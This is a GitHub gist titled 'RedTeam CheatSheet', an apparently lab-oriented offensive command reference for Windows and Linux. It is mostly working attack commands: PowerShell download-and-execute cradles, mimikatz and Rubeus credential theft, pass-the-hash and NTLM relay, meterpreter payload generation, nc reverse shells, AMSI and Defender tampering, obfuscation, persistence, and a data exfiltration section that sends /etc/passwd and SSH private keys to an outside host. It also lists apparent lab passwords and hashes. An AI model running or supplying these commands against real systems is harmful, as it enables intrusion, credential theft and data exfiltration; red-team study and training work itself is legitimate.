-
-
Save ImaginaryBIT/b1c078489611c3533865c72817502e23 to your computer and use it in GitHub Desktop.
#05. RedTeam CheatSheet
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # General Payload | |
| ```powershell | |
| $ExecutionContext.SessionState.LanguageMode | |
| Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe | |
| dir C:\Windows\Microsoft.Net\Framework64 | |
| Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL" | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/apple.txt"); | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/loadDLL64.txt"); | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerView.ps1"); | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/Powermad.ps1"); | |
| IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.54:8080/LAPSToolkit.ps1'); Find-AdmPwdExtendedRights | |
| IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/mimikatz.txt'); invoke-mimikatz | |
| Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"' | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerUp.ps1"); | |
| Invoke-AllChecks; | |
| Get-Service Vuln_Service_Name | Invoke-ServiceAbuse; | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/x64/mimidrv.sys -OutFile mimidrv.sys | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/x64/mimikatz.exe -OutFile mimikatz.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/x64/MiniDump.exe -OutFile MiniDump.exe | |
| $o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText; | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/MetLink.exe -OutFile MetLink.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/PsExec64.exe -OutFile PsExec64.exe | |
| IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/SharpHound.exe -OutFile SharpHound.exe | |
| .\SharpHound.exe --CollectionMethod All | |
| Invoke-Restmethod -uri http://192.168.49.54:8080/20210410063748_BloodHound.zip -Method Put -Infile C:\\users\\administrator\\desktop\\20210410063748_BloodHound.zip; | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/chisel.exe -OutFile chisel.exe | |
| .\chisel.exe client 192.168.49.54:10102 R:1080:socks | |
| chisel server -p 10102 --reverse -v | |
| Invoke-Expression(New-Object Net.WebClient).DownloadString('http://192.168.49.54:8080/PowerUpSQL.ps1'); | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/SQL.exe -OutFile SQL.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/SQL_dirtree.exe -OutFile SQL_dirtree.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/SQLlink.exe -OutFile SQLlink.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/SQLenum.exe -OutFile SQLenum.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/SQLdoubleLink.exe -OutFile SQLdoubleLink.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/PrintSpooferNet.exe -OutFile PrintSpooferNet.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/MetLink.exe -OutFile MetLink.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/SpoolSample.exe -OutFile SpoolSample.exe | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/winPEASx64.exe -OutFile winPEAS.exe | |
| .\winPEAS.exe log | |
| (New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/apple.txt') | IEX; | |
| $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.54:8080/winPEASx64.exe');$RAS = [System.Reflection.Assembly]::Load($data);[winPEAS.Program]::Main(0); | |
| .\PsExec64.exe -accepteula -i -s powershell.exe | |
| .\PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM cmd /c "c:\Users\Administrator\Downloads\MetLink.exe" | |
| .\PsExec64.exe -accepteula -u tricky\will -p "Password123!#$" -i cmd | |
| (New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/amsi.txt') | IEX; | |
| $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.54:8080/Rubeus.exe') ; | |
| $assem = [System.Reflection.Assembly]::Load($data); | |
| [Rubeus.Program]::Main("purge".Split()); | |
| [Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) ; | |
| & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All | |
| Invoke-Restmethod -uri http://192.168.49.54:8080/id_rsa -Method Put -Infile C:\\users\\nina\\.ssh\\id_rsa; | |
| Invoke-Restmethod -uri http://192.168.49.54:8080/known_hosts -Method Put -Infile C:\\users\\nina\\.ssh\\known_hosts; | |
| python /usr/share/john/ssh2john.py id_rsa > ssh.hash | |
| sudo john --wordlist=/usr/share/wordlists/rockyou.txt ./ssh.hash | |
| proxychains4 ssh -i ./id_rsa [email protected]@172.16.66.137 | |
| proxychains4 psexec.py OPS.TOTALENERGY.COM/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dba005e1a048017596826afe0fd8b830 | |
| proxychains4 psexec.py ops.comply.com/pete:[email protected] | |
| kdestroy | |
| export KRB5CCNAME=/home/kali/Documents/OSEP/www/krb5cc | |
| Add hostname in /etc/hosts | |
| klist | |
| proxychains4 psexec.py OPS.TOTALENERGY.COM/[email protected] -k -no-pass | |
| proxychains4 crackmapexec smb 192.168.215.138 -u 'Administrator' -p 'PASSWORD' --local-auth | |
| proxychains4 crackmapexec smb ./hosts.list -d "DMZTE" -u iissvc -H "aad3b435b51404eeaad3b435b51404ee:f7fda76d93587b87e8ecc4f7b3ac2e36" --shares | |
| proxychains4 crackmapexec smb ./hosts.list -d "DMZTE" -u iissvc -p "password" -x whoami | |
| proxychains4 crackmapexec smb ./ops_hosts.list -d "OPS.TOTALENERGY.COM" -u ivar -k --kdchost OPS.TOTALENERGY.COM --shares | |
| proxychains4 crackmapexec winrm ./hosts.list -d "DMZTE" -u iissvc -H "aad3b435b51404eeaad3b435b51404ee:f7fda76d93587b87e8ecc4f7b3ac2e36" | |
| proxychains4 crackmapexec winrm ./hosts.list -d "DMZTE" -u iissvc -p "password" | |
| proxychains4 evil-winrm -u username -p password -i 172.16.66.214 | |
| proxychains4 evil-winrm -u username -H hashes -i 172.16.66.214 | |
| proxychains4 rdp_check.py <domain>/<name>:<password>@<IP> | |
| proxychains4 rdp_check.py <domain>/<name>@<IP> -hashes LMHASH:NTHASH | |
| proxychains xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d:dmzte.com /u:iissvc /p:gko5456SDFksls3 /v:172.16.66.214 | |
| #restricted admin | |
| proxychains xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d:dmzte.com /u:iissvc /pth:7337532fd3bf3abfaef5a9b5bb05a9d8 /v:172.16.66.214 | |
| sudo proxychains python3 /home/kali/.local/bin/ntlmrelayx.py --no-http-server -smb2support -t 172.16.66.215 -c 'PowerShell -nop -noe $result = $ExecutionContext.SessionState.LanguageMode; $postParams = @{result=$result;}; Invoke-WebRequest -Uri http://192.168.49.54:8080 -Method POST -Body $postParams;' | |
| sudo proxychains python3 /home/kali/.local/bin/ntlmrelayx.py --no-http-server -smb2support -t 172.16.66.215 -e ./payload.exe | |
| ``` | |
| # Basis Commands | |
| `msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.126 LPORT=443 EXITFUNC=thread PayloadUUIDTracking=true HandlerSSLCert=/home/kali/self_cert/nasa.pem StagerVerifySSLCert=true PayloadUUIDName=ShellIsDelicious -f csharp -o met32.cs` | |
| `sudo msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 192.168.49.126; set LPORT 443;set EXITFUNC thread; set StagerVerifySSLCert true; set HANDLERSSLCERT /home/kali/self_cert/nasa.pem; exploit -j"` | |
| ## Generic Commands | |
| ```powershell | |
| [Environment]::Is64BitProcess # Check PS process is x64 or x86 | |
| %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe # x64 powershell on Windows Server | |
| %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe # x64 powershell on Windows Server | |
| c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe # x32 powershell on Windows workstation | |
| c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe # x32/x64 powershell on Windows workstation | |
| $command | out-string # print output in string format | |
| icacls "file_or_folder" # check acl | |
| ICACLS C:\windows\temp\mimikatz.exe /grant everyone:F # grant acl permission | |
| whoami /groups | |
| whoami /priv | |
| $HOME | |
| $env:USERNAME | |
| $env:USERDOMAIN | |
| $env:COMPUTERNAME | |
| # run exe in backgroud | |
| START /B PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM cmd /c "c:\Users\Administrator\Downloads\nc.exe 10.10.14.5 5555 -e cmd.exe" | |
| ``` | |
| ## Unix Command Mapping | |
| ``` | |
| (Get-Item .).FullName # pwd | |
| tasklist /v | findstr mimik # ps aux| grep | |
| dir -Recurse | Select-String -pattern "joe@offshor" # grep -ir | |
| Invoke-WebRequest -Uri http://10.10.14.2/winPEAS.exe # curl | |
| (New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8888/nc.exe','c:\Users\Administrator\Downloads\nc.exe') # wget | |
| Invoke-WebRequest -Uri http://10.10.14.2/winPEAS.exe -OutFile winPEAS.exe # wget2 | |
| Invoke-Expression(New-Object Net.WebClient).DownloadString('http://10.10.14.2/Invoke-PowerShellTcp.ps1'); # execute PS script | |
| taskkill /f /im:mimikatz.exe # kill -9 pid | |
| taskkill /f /pid 1234 # kill -9 pid | |
| runas /user:Bob “C:\Windows\notepad.exe” # su, required to enter password in a prompt | |
| .\PsExec64.exe -accepteula -u tricky\will -p "Password123!#$" cmd # su with password | |
| .\PsExec64.exe -accepteula -u tricky\will -p "Password123!#$" -i cmd # su with password | |
| Get-ChildItem Env: # env | |
| netsh trace start capture=yes CaptureInterface="Ethernet" tracefile="C:\Users\user\Desktop\www\trace.etl" maxsize=10 # tcpdump | |
| ``` | |
| ## Debug Powershell Errors | |
| `$result = [string]$error; $postParams = @{Errors=$result;};Invoke-WebRequest -Uri http://192.168.49.54:8080 -Method POST -Body $postParams;` | |
| ## Find DC via DNS | |
| ``` | |
| nslookup -type=srv _kerberos._tcp.EXMAPLE.COM | |
| nslookup -type=srv _kerberos._udp.EXMAPLE.COM | |
| nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM | |
| nslookup -type=srv _kpasswd._udp.EXAMPLE.COM | |
| nslookup -type=srv _ldap._tcp.EXAMPLE.COM | |
| nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM | |
| nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM | |
| nslookup -type=srv _ldap._tcp.gc._msdcs.ROOT.COM | |
| ``` | |
| ## Capture flags | |
| ```powershell | |
| get-childitem -path "c:\users" -recurse -include "flag.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "flag.txt"} | % {$_.FullName}; | |
| get-childitem -path "c:\users" -recurse -include "local.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "local.txt"} | % {$_.FullName}; | |
| get-childitem -path "c:\users" -recurse -include "proof.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "proof.txt"} | % {$_.FullName}; | |
| get-childitem -path "c:\users" -recurse -include "secret.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "secret.txt"} | % {$_.FullName}; | |
| ``` | |
| ## Bash obfuscation | |
| https://github.com/Bashfuscator/Bashfuscator | |
| ## Powershell Obfuscation | |
| https://github.com/danielbohannon/Invoke-Obfuscation | |
| ``` | |
| set scriptblock $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.10.128:8000/ClassLibrary1.dll');$assem = [System.Reflection.Assembly]::Load($data);$class = $assem.GetType("ClassLibrary1.Class1");$method = $class.GetMethod("runner");$method.Invoke(0, $null) | |
| Choose one of the below options: | |
| [*] TOKEN Obfuscate PowerShell command Tokens | |
| [*] AST Obfuscate PowerShell Ast nodes (PS3.0+) | |
| [*] STRING Obfuscate entire command as a String | |
| [*] ENCODING Obfuscate entire command via Encoding | |
| [*] COMPRESS Convert entire command to one-liner and Compress | |
| [*] LAUNCHER Obfuscate command args w/Launcher techniques (run once at end) | |
| Choose one of the below Encoding options to APPLY to current payload: | |
| [*] ENCODING\1 Encode entire command as ASCII | |
| [*] ENCODING\2 Encode entire command as Hex | |
| [*] ENCODING\3 Encode entire command as Octal | |
| [*] ENCODING\4 Encode entire command as Binary | |
| [*] ENCODING\5 Encrypt entire command as SecureString (AES) | |
| [*] ENCODING\6 Encode entire command as BXOR | |
| [*] ENCODING\7 Encode entire command as Special Characters | |
| [*] ENCODING\8 Encode entire command as Whitespace | |
| Use TEST to check the script running result | |
| ``` | |
| ## Powershell command encoding | |
| ``` | |
| $command = '$ErrorActionPreference= "silentlycontinue";Get-ChildItem -Path c:\*\*\ -Force | where { $_.PSIsContainer -eq "TRUE"} | Where-Object { $acl = Get-Acl $_.FullName; $acl.Access | Where-Object { $_.identityreference -match "authenticated users|everyone|$env:username" -and $_.filesystemrights -match "full|modify|write"}}' | |
| [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)) | clip | |
| powershell -exec bypass -nop -EncodedCommand {paste_your_base64_encoded_command} | |
| # file encoding | |
| [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("c:\users\user\desktop\test.txt")) | |
| ``` | |
| ## Powershell command decoding | |
| ``` | |
| [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JwBtAGkAawBlAGYAcgBvAGIAYgBpAG4AcwAuAGMAbwBtACcA')) | |
| ``` | |
| ## Powershell ping | |
| ``` | |
| 1..254 | ForEach-Object {Test-Connection -ComputerName "172.16.4.$_" -Count 1 -ErrorAction SilentlyContinue} | |
| 1..254 | ForEach-Object {Get-WmiObject Win32_PingStatus -Filter "Address='172.16.4.$_' and Timeout=200 and ResolveAddressNames='true' and StatusCode=0" | select ProtocolAddress*} | |
| ``` | |
| ## Extract password from a secure string | |
| ``` | |
| $pw = Get-Content admin_pass.xml | ConvertTo-SecureString | |
| $cred = New-Object System.Management.Automation.PsCredential("administrator", $pw) | |
| $cred.getnetworkcredential() | fl * | |
| ``` | |
| ## Create windows credentials | |
| ``` | |
| $username='imaginarybit' | |
| $password='P@ssw0rd12345!' | |
| $securePassword = ConvertTo-SecureString $password -AsPlainText -Force | |
| $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword | |
| ``` | |
| ## Create Schedule Task | |
| ``` | |
| SCHTASKS /CREATE /SC DAILY /TN "FOLDERPATH\TASKNAME" /TR "C:\SOURCE\FOLDER\APP-OR-SCRIPT" /ST HH:MM /RU USER-ACCOUNT | |
| SCHTASKS /CREATE /SC HOURLY /TN "Drive Mornitoring" /TR "powershell.exe C:\test.ps1" /ST 8:00 /RU admin | |
| SCHTASKS /QUERY # Check all | |
| ``` | |
| ## Start a process using another user | |
| ``` | |
| $username='someUser' | |
| $password='somePassword' | |
| $securePassword = ConvertTo-SecureString $password -AsPlainText -Force | |
| $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword | |
| Start-Process .\nc.exe -ArgumentList '10.10.xx.xx 4445 -e cmd.exe' -Credential $credential -NoNewWindow | |
| or | |
| Start-Process 'cmd.exe' -Credential $cred -ArgumentList "/c 'C:\xampp\htdocs\plugins\nc.exe 172.16.1.5 8888 -e cmd.exe'" -NoNewWindow | |
| or | |
| Invoke-Command -ScriptBlock {nc.exe 172.16.1.5 8888} -Credential $cred -computername localhost | |
| ``` | |
| ## Command execution remotely | |
| ``` | |
| PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM powershell.exe -exec Bypass -noexit -C "(New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8888/nc.exe','c:\Users\Administrator\Downloads\nc.exe')" | |
| PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM cmd /c "c:\Users\Administrator\Downloads\nc.exe 10.10.14.5 5555 -e cmd.exe" | |
| winrs.exe -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 CMD | |
| Invoke-Command -ComputerName "192.168.1.105" -Credential workgroup\administrator -Authentication Negotiate -Port 5985 -ScriptBlock {net user administrator} | |
| Invoke-WmiMethod –ComputerName MEMBERSRV1 -Class win32_process -Name create -ArgumentList "notepad" | |
| wmic /authority:"kerberos:CORP\WIN8WORKSTATION" /node:172.16.48.83 process call create “stuff” | |
| wmic /authority:"kerberos:client.offshore.com\DC04" /node:172.16.4.5 process call create "powershell -f c:\windows\temp\rev.ps1" | |
| Wmic /node:"ComputerName" process call create "cmd.exe /c (net use o: /delete /y & net use o: \\Server\share /user:Domain\Administrator Password & o:\Dir\Subdir\test.cmd) >> c:\users\MyUser\testout2.txt" | |
| ``` | |
| ## OpenSCManager | |
| requires RPC Server | |
| ``` | |
| sc.exe \\myserver query state= all | |
| sc.exe \\myserver config NewService binpath= ntsd -d c:\windows\system32\NewServ.exe | |
| sc.exe \\myserver create NewService binpath= c:\windows\system32\NewServ.exe | |
| sc.exe \\myserver stop <service> | |
| sc.exe \\myserver start <service> | |
| ``` | |
| ## Access an interactive session on a remote computer | |
| Does not work on local users, it will do kerberos auth. | |
| ``` | |
| Enter-PSSession -ComputerName DC02 -Credential dev\joe | |
| Enter-PSSession -ComputerName Server01 -Port 90 -Credential Domain01\User01 | |
| Enter-PSSession -ComputerName DC02.dev.ADMIN.OFFSHORE.COM -Credential $credential | |
| ``` | |
| ## HTTP Full functional Server | |
| used in Data Exfiltration, Download file, and Upload file | |
| `python3 HTTP_Server.py 8080` | |
| https://github.com/ImaginaryBIT/Python_HTTP_Server/blob/main/HTTP_Server.py | |
| ## Data Exfiltration | |
| ``` | |
| cmd.exe /c FOR /F %a in ('wmic useraccount get name') do certutil -f -urlcache http://10.139.138.137/%a | |
| cmd.exe /c FOR /F %a in ('dir c:\users\ /b') do certutil -f -urlcache http://10.139.138.137/%a | |
| powershell.exe -exec bypass -C '(New-Object Net.Sockets.TcpClient).connect('10.10.14.2','4444')'' | |
| powershell.exe -exec bypass -C '$command = dir \"c:/users/\";$result = [string]$command;$postParams = @{result=$result;};Invoke-WebRequest -Uri http://127.0.0.2 -Method POST -Body $postParams;' | |
| powershell.exe -exec Bypass -C "$command = whoami /priv;$result=[string]$command;Invoke-WebRequest -Uri http://10.10.14.4/$result" | |
| powershell.exe -exec Bypass -C "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.14.4/simple.exe\", \"C:\\users\\username\\downloads\\simple.exe\")" | |
| powershell.exe -exec Bypass -C "$Folder=\"C:\\Windows\\Temp\";$permission = (Get-Acl $Folder).Access;$result=[string]$permission;Invoke-WebRequest -Uri http://10.10.14.2/folder/$permission" | |
| cancel -u "$(cat /etc/passwd)" -h 192.168.0.147:1234 | |
| wget --post-file=/etc/passwd 192.168.0.147:1234 | |
| whois -h 192.168.0.147 -p 1234 `cat /etc/passwd | |
| curl -X POST -d @data.txt 192.168.0.147:1234 | |
| finger "$(cat /etc/passwd)@192.168.0.147:1234" | |
| bash -c 'cat /etc/passwd > /dev/tcp/192.168.0.147/1234' | |
| ksh -c 'cat /etc/passwd > /dev/tcp/192.168.0.147/1234' | |
| nc -lnvp 1234 # Attacker Machine | |
| openssl s_client -quiet -connect 192.168.0.147:1234 < "/etc/passwd" | |
| openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # Attacker Machine | |
| openssl s_server -quiet -key key.pem -cert cert.pem -port 1234 > passwd # Attacker Machine | |
| busybox httpd -f -p 8080 -h . | |
| php -S 0.0.0.0:8080 | |
| ruby -run -e httpd . -p 1234 | |
| irb | |
| require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start; | |
| wget http://192.168.0.196:8080/data.txt # Attacker Machine | |
| nc 192.168.0.147 5555 < jeeni.txt | |
| nc -lnvp 5555 > jeeni.txt # Attacker Machine | |
| or | |
| nc -lnvp 5555 < jeeni.txt | |
| nc 192.168.0.147 5555 > jeeni.txt # Attacker Machine | |
| ``` | |
| ## Download file | |
| https://lolbas-project.github.io/#/download | |
| ``` | |
| certutil.exe -urlcache -split -f [URL] [output-file] | |
| bitsadmin.exe /transfer [job-name] /download /priority normal [URL-to-payload] [output-path] | |
| ``` | |
| ## Download file using Powershell | |
| ```powershell | |
| powershell.exe -exec Bypass -C "commands" | |
| (New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8888/SharpHound.exe','c:\Users\Administrator\Downloads\SharpHound.exe') | |
| Invoke-WebRequest -Uri http://192.168.49.54:8080/winPEASx64.exe -OutFile winPEAS.exe | |
| Invoke-Expression(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8888/PowerView.ps1'); | |
| Invoke-RestMethod -Uri http://192.168.49.54:8080/PsExec64.exe -OutFile PsExec64.exe | |
| ``` | |
| ## Upload file | |
| https://github.com/ImaginaryBIT/Python_HTTP_Server/blob/main/HTTP_Server.py | |
| `python3 HTTP_Server.py or python3 HTTP_Server.py 8080` | |
| `Invoke-Restmethod -uri http://192.168.49.54:8080/BloodHound.zip -Method Put -Infile C:\\users\\administrator\\desktop\\20210330081025_BloodHound.zip;` | |
| or with UI http://ip:port/ | |
| ## Outbound port detect | |
| ``` | |
| //powershell TcpClient | |
| 22,53,80,443,8080,3389 | % {$test= new-object system.Net.Sockets.TcpClient; $wait =$test.beginConnect("192.168.49.54",$_,$null,$null); ($wait.asyncwaithandle.waitone(250,$false)); if($test.Connected){echo "$_ open";$test.Close();}else{echo "$_ closed"}} | select-string " " | |
| ``` | |
| Combine with `egress_listener.py` to check allowed outbound port. | |
| https://github.com/trustedsec/egressbuster/blob/master/egress_listener.py | |
| ## Monitor Shared Drive Activities | |
| ``` | |
| $folder = '\\pdc\Shared\Accounting' | |
| $filter = '*.*' | |
| $fsw = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $true;NotifyFilter = [IO.NotifyFilters]'FileName, LastWrite'} | |
| Register-ObjectEvent $fsw Created -SourceIdentifier FileCreated -Action { | |
| $name = $Event.SourceEventArgs.Name | |
| $changeType = $Event.SourceEventArgs.ChangeType | |
| $timeStamp = $Event.TimeGenerated | |
| Write-Host "The file '$name' was $changeType at $timeStamp" -fore green | |
| Out-File -FilePath C:\temp\outlog.txt -Append -InputObject "The file '$name' was $changeType at $timeStamp"} | |
| Register-ObjectEvent $fsw Deleted -SourceIdentifier FileDeleted -Action { | |
| $name = $Event.SourceEventArgs.Name | |
| $changeType = $Event.SourceEventArgs.ChangeType | |
| $timeStamp = $Event.TimeGenerated | |
| Write-Host "The file '$name' was $changeType at $timeStamp" -fore red | |
| Out-File -FilePath C:\temp\outlog.txt -Append -InputObject "The file '$name' was $changeType at $timeStamp"} | |
| Register-ObjectEvent $fsw Changed -SourceIdentifier FileChanged -Action { | |
| $name = $Event.SourceEventArgs.Name | |
| $changeType = $Event.SourceEventArgs.ChangeType | |
| $timeStamp = $Event.TimeGenerated | |
| Write-Host "The file '$name' was $changeType at $timeStamp" -fore white | |
| Out-File -FilePath C:\temp\outlog.txt -Append -InputObject "The file '$name' was $changeType at $timeStamp"} | |
| Get-EventSubscriber | Unregister-Event # stop the event | |
| ``` | |
| ## Change payload from x86 to x64 | |
| ``` | |
| meterpreter > background | |
| msf5 > use windows/local/payload_inject | |
| msf5 > set payload windows/x64/meterpreter/reverse_tcp | |
| msf5 > set LHOST 10.10.14.2 | |
| msf5 > set SESSION 11 | |
| msf5 > exploit | |
| ``` | |
| ## Upgrade shell to meterpreter | |
| ``` | |
| msf exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter | |
| msf exploit(multi/handler) > set LPORT 4433 | |
| msf exploit(multi/handler) > set SESSION 1 | |
| msf exploit(multi/handler) > exploit | |
| [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1] | |
| [*] Upgrading session ID: 1 | |
| [*] Starting exploit/multi/handler | |
| [*] Started reverse TCP handler on 10.10.14.14:4433 | |
| [*] Sending stage (861480 bytes) to 10.10.10.94 | |
| [*] Meterpreter session 2 opened (10.10.14.14:4433 -> 10.10.10.94:58956) at 2018-07-27 06:37:15 -0400 | |
| [*] Command stager progress: 100.00% (773/773 bytes) | |
| msf exploit(multi/handler) > sessions -i 2 | |
| [*] Starting interaction with 2... | |
| ``` | |
| ## Enable Remote Desktop using PowerShell | |
| ``` | |
| Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\\' -Name "fDenyTSConnections" -Value 0 | |
| Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\\' -Name "UserAuthentication" -Value 1 | |
| Enable-NetFirewallRule -DisplayGroup "Remote Desktop" | |
| ``` | |
| ## Enable WinRM using PowerShell | |
| ``` | |
| Enable-PSRemoting –force | |
| winrm quickconfig -transport:https | |
| Set-Item wsman:\localhost\client\trustedhosts * | |
| Restart-Service WinRM | |
| test-wsman -computername "WIN-S0V7KMTVLD2" | |
| ``` | |
| ## Configuring local group membership | |
| ``` | |
| Add-LocalGroupMember -Group "Administrators" -Member "ugc_user" -ErrorAction SilentlyContinue | |
| Add-LocalGroupMember -Group "Remote Desktop Users" -Member "ugc_user" | |
| ``` | |
| ## Configuring local admin | |
| ``` | |
| net user administrator /active:yes | |
| net user administrator StrongestPasswordEverPewPew | |
| ``` | |
| ## Edit user account privileges | |
| https://ss64.com/nt/ntrights.html | |
| https://www.tenforums.com/attachments/tutorial-test/142289d1499096195-change-user-rights-assignment-security-policy-settings-windows-10-a-ntrights.zip | |
| ``` | |
| ntrights.exe -u localadmin +r SeInteractiveLogonRight # Allow Log on locally | |
| ntrights.exe -u localadmin +r SeRemoteInteractiveLogonRight # Allow logon through RDP/Terminal Services | |
| ``` | |
| ## Configuring firewall rules | |
| ``` | |
| netsh advfirewall Remove-NetFirewallRule | |
| netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound | |
| netsh advfirewall firewall add rule action=allow name=Inbound dir=in protocol=tcp localport=80,443,445,3389 | |
| netsh advfirewall firewall add rule action=allow name=Outbound dir=out protocol=tcp remoteport=80,443,445,3389 | |
| netsh advfirewall firewall add rule name="ICMP V4" protocol=icmpv4:8,any dir=in action=allow | |
| ``` | |
| ## Disable IPv6 | |
| `Disable-NetAdapterBinding -Name "*" -ComponentID ms_tcpip6` | |
| ## Troubleshoot powershell | |
| double quote love scripts | |
| single quote love strings | |
| **When execute powershell.exe command in cmd.exe cannot put the URL in double quote, because it will be escaped. Put the URL in single quote.** | |
| `powershell.exe -exec bypass -nop -C "IEX (new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt')"` | |
| or | |
| `powershell.exe -exec bypass -nop IEX (new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt')` | |
| **When execute powershell.exe command in cmd.exe, cmd cannot parse the pipe. Put the pipe in double quote.** | |
| `powershell.exe -exec bypass -nop "(new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt') | IEX"` | |
| Those commands cannot be executed in cmd.exe | |
| `powershell.exe -exec bypass -nop -C 'IEX (new-Object System.Net.WebClient).DownloadString("http://192.168.49.54:8080/fodUAC.txt")'` | |
| and | |
| `powershell.exe -exec bypass -nop IEX (new-Object System.Net.WebClient).DownloadString("http://192.168.49.54:8080/fodUAC.txt")` | |
| and | |
| `powershell.exe -exec bypass -nop (new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt') | IEX` | |
| **If encountered the issue below, this is due to you execute powershell in a powershell** | |
| ``` | |
| IEX : At line:1 char:15 | |
| + + $Kernel32 = @ | |
| Unrecognized token in source text. | |
| ``` | |
| like | |
| `PS C:\ > powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/certificate.txt') | IEX` | |
| This will make powershell console read the downloaded script line by line. need to include the pipe in double quote. | |
| `PS C:\ > powershell "(New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/certificate.txt') | IEX"` | |
| # Host Enumeration | |
| - Enumerating services on endpoints and extracting the startname account | |
| - Searching for connection strings within web.config, scripts, and other locations where service accounts may be hard-coded | |
| - Exploring the local policy for users granted Log on as a Service | |
| - Extracting event logs for non-interactive logon types | |
| - Finding application pool and other web application service accounts | |
| ## Enumeration tools | |
| Softerra LDAP Browser | |
| https://www.ldapadministrator.com/info_softerra-ldap-browser.htm | |
| ```powershell | |
| //query LDAp service | |
| ldapsearch -h 10.11.12.13 -x -z 0 -zz -b "cn=abc, ou=test, ou=base" | |
| //query LDAp service with NULL base DN | |
| ldapsearch -h 10.11.12.13 -x -z 0 -zz -b "" > dump.txt | |
